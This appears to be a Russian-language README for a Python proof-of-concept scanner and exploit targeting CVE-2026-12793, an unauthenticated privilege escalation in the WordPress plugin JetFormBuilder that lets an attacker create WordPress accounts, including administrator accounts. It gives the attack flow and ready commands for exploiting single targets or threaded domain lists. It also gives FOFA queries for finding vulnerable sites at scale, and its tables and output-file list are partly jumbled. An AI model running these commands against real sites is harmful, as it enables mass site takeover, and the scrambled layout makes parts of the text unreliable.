
Python PoC-сканер и эксплойт для CVE-2026-12793 — неаутентифицированного повышения привилегий в JetFormBuilder <=3.6.2, позволяющего создавать учётные записи администратора WordPress.
Сканер и эксплойт proof-of-concept для CVE-2026-12793 в WordPress-плагине JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock).
| CVE | CVE-2026-12793 |
| Плагин | jetformbuilder |
| Затронуто | ≤ 3.6.2 |
| Исправлено в | 3.6.2.1+ |
| CVSS | 9.8 Critical |
| Аутентификация | Не требуется |
| CWE | CWE-269 — Improper Privilege Management |
| Исследователь | daroo (Wordfence) |
Плагин не проверяет, что _jet_engine_booking_form_id ссылается на опубликованный пользовательский тип записи jet-form-builder, прежде чем загрузить содержимое блоков указанной записи как схему формы и выполнить действия после отправки формы.
Неаутентифицированный злоумышленник может отправить специально сформированный AJAX-запрос, чтобы вызвать действие Register User (wp_insert_user) и создать новую учётную запись WordPress. Если целевая форма неправильно настроена с повышенной ролью (например, administrator), это приводит к полному захвату сайта.
1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created
Block_Helper::is_valid_form_post() — принимается только опубликованный CPT jet-form-builderForm_Handler::set_form_id() отклоняет недопустимые ID формwp_insert_user / wp_update_user блокируются как колбэки)requestspip install requests urllib3
python poc.py -u https://target.example --mode check
python poc.py --list domains.txt --mode check --threads 30 --quiet
Форматы входных данных: один домен/URL на строку, FOFA CSV (host,domain) или candidates.jsonl из предыдущего запуска.
python poc.py -u https://target.example --mode exploit \
--form-id 1858 \
--page-url /register/ \
--fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
--username myuser \
--email [email protected] \
--password 'SecurePass123!' \
--verify
python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify
| Файл | Содержимое |
|---|---|
hits.txt |
{
"target": "https://target.example",
"version": "3.3.3",
"form_id": 1858,
"page_url": "https://target.example/register/",
"fields": {
"login": "user_login",
"email": "user_email",
"password": "user_pass"
}
}
Автоматически определяемые имена полей являются эвристическими. Всегда проверяйте и переопределяйте их с помощью
--fieldsперед эксплуатацией.
body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"
Проверка версии:
/wp-content/plugins/jetformbuilder/readme.txt
Ищите Stable tag: ≤ 3.6.2.
Этот инструмент предоставляется исключительно для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Авторы не несут ответственности за неправомерное использование.
MIT
| Флаг | Описание |
|---|
-u, --url | URL одиночной цели |
--list | Файл со списком целей |
--mode | check (по умолчанию) или exploit |
--form-id | Известный ID записи формы JetFormBuilder |
--page-url | Страница, содержащая форму (referer), например /register/ |
--fields | Сопоставление полей: login=x,email=y,password=z |
--paths | Дополнительные пути для обхода в поисках форм |
--username / --email / --password | Учётные данные для эксплуатации (случайные, если не указаны) |
--verify | Проверить учётную запись через wp-login.php после отправки |
-j, --threads | Рабочие потоки (по умолчанию: 20) |
--timeout | Тайм-аут HTTP в секундах (по умолчанию: 20) |
--proxy | URL HTTP(S)-прокси |
--output | Полный JSONL-лог (по умолчанию: cve_2026_12793_results.jsonl) |
--vuln-list | Список попаданий (по умолчанию: hits.txt) |
--candidates-list | JSONL кандидатов (по умолчанию: candidates.jsonl) |
-q, --quiet | Выводить только прогресс |
| URL уязвимых / проэксплуатированных целей |
candidates.jsonl | Цели с доступной проверкой Register User (form_id, page_url, fields) |
cve_2026_12793_results.jsonl | Полные JSON-результаты по каждой цели |